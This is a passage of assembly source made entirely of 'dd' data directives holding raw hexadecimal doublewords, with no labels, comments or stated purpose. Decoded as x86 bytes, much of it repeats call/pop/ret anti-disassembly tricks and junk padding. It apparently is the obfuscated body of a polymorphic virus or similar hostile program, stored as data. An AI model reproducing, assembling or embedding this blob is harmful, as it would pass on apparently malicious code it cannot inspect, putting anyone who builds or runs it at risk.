		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 0CC6942C3h, 99B79F2h
		dd 0E68192CEh, 67EECBAFh, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 604CA9C3h, 0FD39635h
		dd 685h, 8C0F00h, 0C1000000h, 0B58B04E8h, 61F2CB5h, 6AE2F766h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 3A91C357h, 64CCFB33h, 6AD82B7Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 95EDC357h, 8E9D6h, 32E60000h, 918FCA5h, 50FC083Dh, 0F241C89h
		dd 386h, 5FF95200h, 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 388A2DC3h
		dd 11EF81E3h, 0FF7131D7h, 1F1D4595h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0FC8091EEh
		dd 3CB1C6A5h, 0AE84752h, 61000000h, 3B13E632h, 0CFD44996h
		dd 0F08B6606h, 0F00B05Eh, 0B52BFBBFh, 61F12C5h,	6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F91C1AC3h, 8D78534Eh, 0D3F4E4BFh, 371E40Fh,	1F14FDBDh
		dd 71BD8B06h, 3C061F06h, 16830F61h, 66000002h, 44BEF18Bh
		dd 0F24043Bh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 29563CC3h, 1F08A99Dh, 6BA06h, 0C38B0000h
		dd 51FBA8BEh, 4E8C12Dh,	64EBDBBFh, 9B58937h, 66061F16h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD310CC3h, 61F2C45h, 9D09D82Bh, 61F2AADh
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 6E8B1FFh, 1C000000h, 0DBF903AEh,	15B58B11h
		dd 5F061F2Eh, 0DCE2C781h, 0D82B12ECh, 163880Fh,	0BF660000h
		dd 7B9294Dh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0E055C352h,	0BD89D477h
		dd 61F0E9Dh, 6A00C183h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0CF21C350h,	57B86C0Dh
		dd 2E919D89h, 3BF5061Fh, 2860FD9h, 6A000001h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 9967C352h, 0A149DD0Ah, 789ECDA7h, 0B55ABFBEh, 0D98C6602h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h
		dd 8B3C93EBh, 1F074DBDh, 4C1F606h, 97840Fh, 81660000h
		dd 0E95128DFh, 0Ah, 2ACC21EEh, 0D371CE26h, 95FFD3FAh, 61F3175h
		dd 15AD8529h, 0FC5B061Fh, 6AC32Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 1B306DC3h, 4651D700h
		dd 8B51C1F6h, 1F1F3DB5h, 8B665F06h, 8343DFAh, 860F0000h
		dd 39h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh
		dd 2FC35242h, 598889ABh, 0CD304FACh, 1FE901h, 0E9530000h
		dd 8, 0D0C45233h, 80A04096h, 0E9C08B5Fh, 9, 0FBB422D9h
		dd 6E1F889Fh, 8BC38B25h, 50006AD8h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0AC92DA1Ch, 85C735BEh
		dd 61F2AD1h, 7F5D4FF5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 92C35040h, 4A992794h,	0B70FD175h, 13E9F7h
		dd 0BB2C0000h, 0E2736CCEh, 0A7ABDDCCh, 54DF48E7h, 11E256BBh
		dd 6AC08B82h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 31B6C351h, 0D96AF0C3h,	0E7818988h
		dd 3DBE9B70h, 2C19BD8Bh, 0BD81061Fh, 61F05E1h, 7D0h, 23850Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0FF9803C3h, 1F05E185h, 0E1B5FF06h, 0E9061F05h
		dd 8, 0F3FF290Fh, 601325D5h, 1D4595FFh,	6A061Fh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 52DBE4C3h, 8A0F609Ch, 1Ah, 14E8h, 5A2E4200h,	7396952Dh
		dd 0BE57558Ch, 55CF79CEh, 9C5B5588h, 33525E9Bh,	1F1025B5h
		dd 90615E06h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ch,	57C35141h, 6A39CA8Fh, 10BC4E58h, 0F5DF8166h, 28D0F96h
		dd 8B000000h, 0F3B70FF3h, 2890F60h, 8B000000h, 0C0BF0FF3h
		dd 2E618D89h, 0F61061Fh, 28Dh, 89FE8B00h, 1F12AD85h, 59BE6606h
		dd 1860FCCh, 0F9000000h, 2A84F681h, 6A6E6Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 57891FC3h
		dd 755BD2Bh, 665E061Fh,	52BBDE81h, 10919D89h, 8156061Fh
		dd 8BE381D7h, 0F38B5E45h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 89C35747h, 0EE5DB842h, 3DBD33A9h, 0F061F0Ah
		dd 0F8Fh, 5E900h, 0F8B0000h, 0BF79F981h, 0E9CB3A5h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 7DC35040h, 0EBD95F81h
		dd 4BF17428h, 0E7816606h, 0D6E9F396h, 66FFFFF7h, 0E827BCBEh
		dd 5, 0DE3FE4CBh, 0EDBD8B11h, 89061F08h, 1F1B9185h, 0C18B5F06h
		dd 0EDBE5660h, 5A6B7EA2h, 0EF19D89h, 8961061Fh,	1F1AED95h
		dd 4EB06h, 0F9000000h, 2F5D8D89h, 858D061Fh, 61F19BDh
		dd 68B0Fh, 0D7810000h, 10B769C2h, 0FABF6650h, 24048908h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3C35343h
		dd 31920B34h, 1F1AC995h, 0F1E78106h, 6A303CB9h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B4766111h, 0BE666AEFh, 0BF0F6E6Fh, 8D006AFEh, 2302DB85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 8B337849h, 1F1BB9B5h, 13E906h, 34C60000h
		dd 456483ECh, 133D22D8h, 0C5823FF8h, 0E14C5818h, 5C08335h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 84C35343h
		dd 4A16B845h, 6E8h, 1A918800h, 66D6AA2Fh, 5FD12CBEh, 10199529h
		dd 5090061Fh, 6E8h, 7EEED800h, 60EAE3A8h, 0BF66FA8Ah, 5E61939Bh
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0AA044F40h, 0CE99529h, 6A061Fh, 1D29B58Bh
		dd 6A061Fh, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 18h,	8DC35545h, 91851442h, 6F1BD8Bh,	95FF061Fh, 61F0161h
		dd 1EA98D31h, 9D8D061Fh, 622B1F2h, 5AA3D781h, 0D3FF4F56h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 3BC35141h
		dd 891D76A8h, 1F15C5BDh, 2985FF06h, 0BF061F10h,	7217513Fh
		dd 0E9F3BF0Fh, 83Bh, 0E8h, 0ED815D00h, 62302E5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 24C35242h, 0DC18337h
		dd 0FDBE24BEh, 68B0FC2h, 1000000h, 1F0891BDh, 0DDB58B06h
		dd 81061F11h, 1F05E1BDh, 7D006h, 3B860F00h, 6A000001h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 0BB96C355h
		dd 0B8182578h, 0B9943CF3h, 1D3D9D8Bh, 6652061Fh, 5ECB7FBFh
		dd 100E381h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0DB0B29C3h, 99850Fh, 9D890000h
		dd 61F2F7Dh, 12BBD83h, 0F000623h, 5784h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0C5204D80h, 0AE97Eh,	0BECC0000h, 0C80C42D5h,	6027451Dh
		dd 15BD0Bh, 81E9061Fh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 1CDDC350h
		dd 12B85C7h, 10623h, 13E80000h,	7000000h, 0F32840CEh, 4C5E7E2Ch
		dd 4C070C2Fh, 0ECFAA286h, 0BE66A3C9h, 0E95E2FF0h, 38h
		dd 0C7F3BF0Fh, 23012B85h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0BE0997Dh
		dd 72F59ABEh, 0B58B0239h, 61F2E69h, 1D3D9D8Dh, 2381061Fh
		dd 0FFFFFEFFh, 2419B58Bh, 8C66061Fh, 0EE9DBh, 1C8F0000h
		dd 4B48635Ch, 0D89017CFh, 7E10F687h, 0F04C3F6h,	9684h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 619D8985h, 0FF061F03h, 1F317595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0DA123962h, 2DDAD28h, 0E890605Dh, 0Dh, 803F0621h, 50178F5Ah
		dd 221291F0h, 0D3F5BFFFh, 505F6997h, 0CCFABF66h, 52006A90h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0DC237745h, 51578D6Ah, 59BC39BEh, 0E95E5F68h, 3E5h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 25C35242h
		dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 9A84C5C3h, 0E6816660h, 0BF0F90A0h, 8B6661C9h
		dd 6A70E6FAh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3893C350h, 8ABEBE72h, 0E441DB7Dh
		dd 0BE971h, 9E430000h, 49742016h, 7151086Ah, 3ABE664Ch
		dd 0D8B60F6Bh, 0C9CE8166h, 6BAD6h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 667D4AC3h
		dd 8BDEFEBFh, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 3D59ABDFh, 0E8C1AAD8h, 0EDB58B04h
		dd 66061F1Fh, 0B533E2F7h, 61F2D1Dh, 8950D82Bh, 6A241Ch
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 981DEDC3h, 0BF0F60F8h, 61F080F9h, 0E1B5FF61h, 0E8061F05h
		dd 0Ch,	0D85D2AEDh, 73C91CCAh, 1495BB29h, 0FF5EF28Bh, 1F1D4595h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 79BD0B2Eh, 0B0061F05h, 0F9B70F00h, 6A70E6h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 69DB71C3h, 0CCDC2D2Bh, 71E45497h, 1669BD8Bh,	613C061Fh
		dd 253830Fh, 0FFC0000h,	6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 2251BBC3h, 592C64BCh
		dd 8C0FB8h, 0BA000000h,	6, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 5C35343h, 3B95B0h, 0B5290F37h, 61F2F05h
		dd 6AC38Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A96E5BC3h, 66F98B79h, 37E9EE81h,	6A04E8C1h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C113C351h, 932C2BDh, 0E8FC3777h,	0Dh, 0DF23E896h
		dd 0E11A6BD9h, 2980847Bh, 6288BF7Ah, 665F0289h,	0D82BE2F7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D8C35545h
		dd 772A7F61h, 0F713229Eh, 68F0Fh, 8D890000h, 61F2BD5h
		dd 8DBD0158h, 2B061F2Dh, 4E880FD8h, 60000001h, 14E8BA66h
		dd 0AD1858Bh, 0B961061Fh, 7, 11E8h, 0D3CC7800h,	0D6AF5FA7h
		dd 0E06071BDh, 0FC3F688h, 0B58B08A9h, 61F0099h,	0C1835Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 1C35141h
		dd 0B063842Ch, 75FE2723h, 2DC9BD8Bh, 0BD01061Fh, 61F1C51h
		dd 0D9CE8166h, 0FD93BABh, 0E086h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0CAF5E252h
		dd 8C665937h, 45B509D9h, 0F6061F1Bh, 840F04C1h,	71h, 2ACD8589h
		dd 95FF061Fh, 61F3175h,	67C4EF81h, 6A5B1432h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2BC5C350h, 0A5B58BC3h, 53061F2Eh, 5EF1BF0Fh,	8343Dh
		dd 2A860F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0E6BFC356h,	0E92E8D46h
		dd 41h,	0A05AA7BEh, 6AC08B76h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 430AC357h, 1DD76C12h
		dd 3A00888Ah, 10E9h, 695BB000h,	9DC1F3ABh, 96B0695h, 0AF06117Eh
		dd 8BC38B57h, 0C7F08BD8h, 1F0DD585h, 3D79B106h,	0D7816659h
		dd 0C08BACB2h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	6AC35040h, 0E3BAAB6Ah, 81BECF7Ch, 1F05E1BDh, 7D006h
		dd 0D850F00h, 0F9000000h, 5E185FFh, 0B589061Fh,	61F2C3Dh
		dd 5E1B5FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 22AFEBC3h, 6C0CA63Ah, 95FF5249h
		dd 61F1D45h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	67C35343h, 0F30DB41Ch, 0BF0F87E3h, 9D8990F0h, 61F247Dh
		dd 114DBD8Bh, 0EE8061Fh, 9C000000h, 52ADA741h, 63B50D8Eh
		dd 847EB233h, 0FA8B66E5h, 10E9h, 1C25F400h, 0D2A429F2h
		dd 252EE7EDh, 1368CBEh,	860F5E10h, 0Ch,	0A7DB58Bh, 8D29061Fh
		dd 61F11E9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	0E9C35545h, 0BD7F6A66h,	81ABE7A0h, 9FB8B66h, 1F2E2185h
		dd 0F28B6606h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0C9C35747h, 3D104B1Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0A0C35242h,	8529AB90h, 61F1E1Dh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B3C35343h
		dd 53006A02h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 2FF63C35h, 29D48716h, 1F14C595h,	12E96006h
		dd 31000000h, 2F1A9188h, 0B682D6AAh, 0BEEFC83Eh, 0BB80016h
		dd 0B19509F6h, 0E9061F1Bh, 10h,	0A5AE268Ah, 37BD9460h
		dd 39C401A2h, 5B83F19Ch, 0F1BD8961h, 0E9061F0Ch, 0FFFFF7E4h
		dd 0DE9h, 916AF800h, 1678B684h,	0B005A40Ah, 8E93B95h, 0D4000000h
		dd 7B50C8E9h, 8BC27545h, 559589C1h, 0BF061F0Ch,	60DBADh
		dd 4EBh, 1600000h, 1F15798Dh, 0FB8B6006h, 2A25B589h, 6161061Fh
		dd 6AF88B66h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 1FA8C355h, 0CE94Eh
		dd 0C37C0000h, 0DE08314Dh, 34493664h, 858D0389h, 61F19BDh
		dd 1B85B58Bh, 5390061Fh, 743E35BEh, 0BF505F75h,	1BC7BE40h
		dd 52006A90h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 6A006A61h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0E4D6C357h,	47BB9398h
		dd 6AF18B9Ah, 14E900h, 0A45C0000h, 0DA05D6A7h, 418ACC01h
		dd 69097C85h, 8B1FA19h,	858D565Eh, 6230CD8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 5DC35141h, 6EB1C880h
		dd 7E800327h, 12E9h, 5C054800h,	802BE6FAh, 0D0F57096h
		dd 34706FF1h, 66638F66h, 0C083F88Bh, 0EE805h, 53D50000h
		dd 0B18C8F49h, 587B650Ah, 24734ED9h, 689B58Bh, 505F061Fh
		dd 8830Fh, 66600000h, 8B66F38Bh, 48961FEh, 75858924h, 6A061F2Fh
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 1646716Bh, 0BFE9AA58h, 0D5C54Dh,	8D0F006Ah
		dd 0
		dd 16195FFh, 0FB8B061Fh, 8DFA8B66h, 22B1F29Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 1AD67280h, 0BD037A6Eh, 61F1295h, 8B53D3FFh, 85FF5EF3h
		dd 61F1029h, 73EE9h, 0E800h, 815D0000h,	230CE2EDh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 8F9E7A0Dh, 0A54C3C8Bh, 0BD81A456h, 61F05E1h,	7D0h, 0D7860Fh
		dd 8BFC0000h, 1F1EC19Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8BC98CA7h, 1F1C31BDh
		dd 0E38106h, 9000001h, 1F186D8Dh, 0FDB0B06h, 5C85h, 0F98B6600h
		dd 0B2ABD83h, 0F000623h, 2E84h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0BE9B6F22h
		dd 7C358AD7h, 53E9h, 0B1B58900h, 0C7061F31h, 230B2A85h
		dd 106h, 68A0F00h, 89000000h, 1F0AAD8Dh, 32E906h, 0B70F0000h
		dd 2A85C7F6h, 6230Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 2964C356h, 79440BB6h
		dd 0CEAA37B5h, 1EC19D8Dh, 81F5061Fh, 0FFFEFF23h, 0DB8C66FFh
		dd 1F2D8D89h, 9589061Fh, 61F0F55h, 0F04C3F6h, 4484h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0FF2D25E7h, 1F317595h, 0E8515006h, 12h, 130EDE52h, 4FCA3D83h
		dd 9438156Eh, 6971E4B5h, 0FB8B5F11h, 4895E5Eh, 3A7E924h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 6118E4C3h, 0B0F88Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0CBC35747h,	0E603488Bh, 50006A70h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 49C411CCh, 6A71E49Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 931EC357h, 2D6632E1h
		dd 667DC569h, 0FEDDEBEh, 6AD8B6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 23EC51C3h, 1F1A55B5h
		dd 6BA06h, 89560000h, 1F0769B5h, 0C38B5E06h, 0EA97CE81h
		dd 0E8C16E95h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 9531BCE7h, 61F31C1h, 0E9E2F766h
		dd 6, 2E70A987h, 2BF9C5D8h, 56006AD8h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0F64E5D2h
		dd 6650F9BFh, 89A531BFh, 0B5FF241Ch, 61F05E1h, 0FC9B533h
		dd 8166061Fh, 0FF0A0AEFh, 1F1D4595h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 385A2BF0h
		dd 21B58B53h, 8B061F1Ch, 1F1B99BDh, 6A00B006h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 66BCC350h, 9D89F78Bh, 61F1D19h, 71E470E6h, 0E3E68166h
		dd 0DE8EEh, 1B550000h, 470DC037h, 0C87A5F0Ch, 0F530378Bh
		dd 0F613C5Fh, 1F083h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 37A7FB5Ch, 8E92Ch, 33880000h
		dd 868EDDC1h, 0B60F4C0Ch, 0F58D29D8h, 89061F1Dh, 1F07B985h
		dd 6BA06h, 85890000h, 61F0E89h,	6AC38Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0F17664C3h
		dd 6BBF5A55h, 0C151E67Bh, 6A04E8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 565F98C3h, 114DB52Bh
		dd 0F766061Fh, 153BFE2h, 0D82B661Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 0FEC35040h,	38716508h, 51006A58h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 0FD432BD7h, 2BA03BF5h, 1F2F85BDh, 0FD82B06h,	10088h
		dd 7B9F500h, 6A000000h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 0A992C356h,	1A5D9D29h
		dd 810F061Fh, 3, 83FA8B66h, 6A00C1h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 5EB118C3h
		dd 3BFB8B66h, 0A2860FD9h, 66000000h, 0AE8D98Ch,	99000000h
		dd 7EEF0838h, 0A1BD06BFh, 0E1B58BD3h, 5E061F1Ah, 0F04C1F6h
		dd 6C84h, 7595FF00h, 0E9061F31h, 0Eh, 6BF19494h, 7D04F832h
		dd 2672300Eh, 0BD8B5486h, 61F1A79h, 3DB5015Bh, 2B061F12h
		dd 858B60C3h, 61F2A69h,	5E616052h, 8343D61h, 860F0000h
		dd 2Dh,	0E9FBB70Fh, 39h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 54C35747h, 892E90FDh,	1F1525B5h, 0E9C08B06h
		dd 0Dh,	0AD42E34h, 0E432BF8Ah, 9162904h, 8BC38B73h, 71BD8BD8h
		dd 0C7061F2Dh, 1F1D3D85h, 0AB7D3506h, 0F98B6655h, 9D89C08Bh
		dd 61F1611h, 5E1BD81h, 7D0061Fh, 850F0000h, 40h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0CC35141h, 0B2BC50F3h
		dd 605AD161h, 0D681C18Bh, 0E5B267Bh, 0E9958961h, 0F061F2Dh
		dd 89h,	0E185FF00h, 0F5061F05h,	5E1B5FFh, 6A061Fh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 210DA2C3h, 0F6E55431h, 8B4DC226h, 1F18E1BDh,	0B5316006h
		dd 61F1CF1h, 6E9h, 0F255D900h, 6177C908h, 1D4595FFh, 6A061Fh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 24C83DC3h, 755FC10h,	1B58BBFh, 90061F2Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0BEC35040h, 53CD9A26h
		dd 0F9BE6661h, 56006AF2h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 9D8929B7h, 61F13DDh, 1AADB589h
		dd 0BD01061Fh, 61F1671h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 0F4C35545h, 4DB7F7E2h, 6A6FFDh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0CE9C1C3h, 7E000000h, 8A3715C7h, 784C015Ah, 0E98FA9DCh
		dd 13h,	3CF504B0h, 3115F136h, 319673E0h, 7B367623h, 6AA9EA33h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8BA3C352h, 0F08B66FBh, 1B518509h,	6A061Fh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7AD2ABC3h, 0ADF433CDh, 0BD8BA2F1h, 61F110Dh,	0EAE9FE8Bh
		dd 6AFFFFF8h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0D983C351h, 850F9257h,	3, 8BF78B66h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 90D5D4FFh, 0E9493CB6h, 11h, 39CA8F57h, 0BC4E586Ah
		dd 34078410h, 0A33BEE3Fh, 4EB36h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0E6EFC356h, 0FC199376h, 0F8ABC20Ch, 5EF85051h, 0BD858D5Eh
		dd 6A061F19h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 318C352h
		dd 50DEFC03h, 42E1BE66h, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0DD22C356h
		dd 8B511591h, 1F2F29B5h, 9BD8B06h, 0F061F2Bh, 6AF0BFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 61C35141h
		dd 101DB53Fh, 2F759D29h, 6A061Fh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0EDC35343h,	0CFAFCE3Ch, 8D9A5B2Bh
		dd 23167D85h, 69BD8B06h, 0E9061F02h, 0Fh, 8074699Ah, 370F11B9h
		dd 0B8CA0C84h, 830BF395h, 6A05C0h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B58B6AC3h, 61F0CCDh
		dd 0E8525050h, 12h, 8CC93F05h, 1BAD262Bh, 60C9ABEFh, 1F3D7688h
		dd 0EE86D8Dh, 5C000000h, 94A8F99Eh, 3B98FC25h, 53A66BA5h
		dd 0F5E5F10h, 0BF665731h, 5A5EDF13h, 24048958h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0BFC35242h, 439751B6h
		dd 0B3A32609h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0E68142C3h, 6EC3F1F8h, 3903BF66h
		dd 2C358D31h, 6A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 6AC35545h, 0A4720E4Fh, 0FE8B79EDh, 16195FFh
		dd 8960061Fh, 1F021195h, 0ADDA8106h, 6125414Bh,	0B1F29D8Dh
		dd 81660622h, 0FFFB00F6h, 53006AD3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 9730996Dh
		dd 6E28F558h, 8BF905D8h, 2985FFFBh, 89061F10h, 1F0AD5BDh
		dd 8A2E906h, 0E80000h, 5D000000h, 1687ED81h, 6A0623h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 6F0CFC3h, 6AEAFA58h,	0BD8BF42Bh, 61F1391h, 81F7B70Fh
		dd 1F05E1BDh, 7D006h, 9A860F00h, 8B000001h, 9D8BFCF3h
		dd 61F2009h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E5C35747h, 6A1F64CDh, 0BE90Eh,	77510000h, 252DEA8Fh
		dd 3A3E187Bh, 0E381CAh,	6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A6C351h
		dd 0DEF81A8h, 661865EDh, 0DB0BFE8Bh, 0C4850Fh, 6A0000h
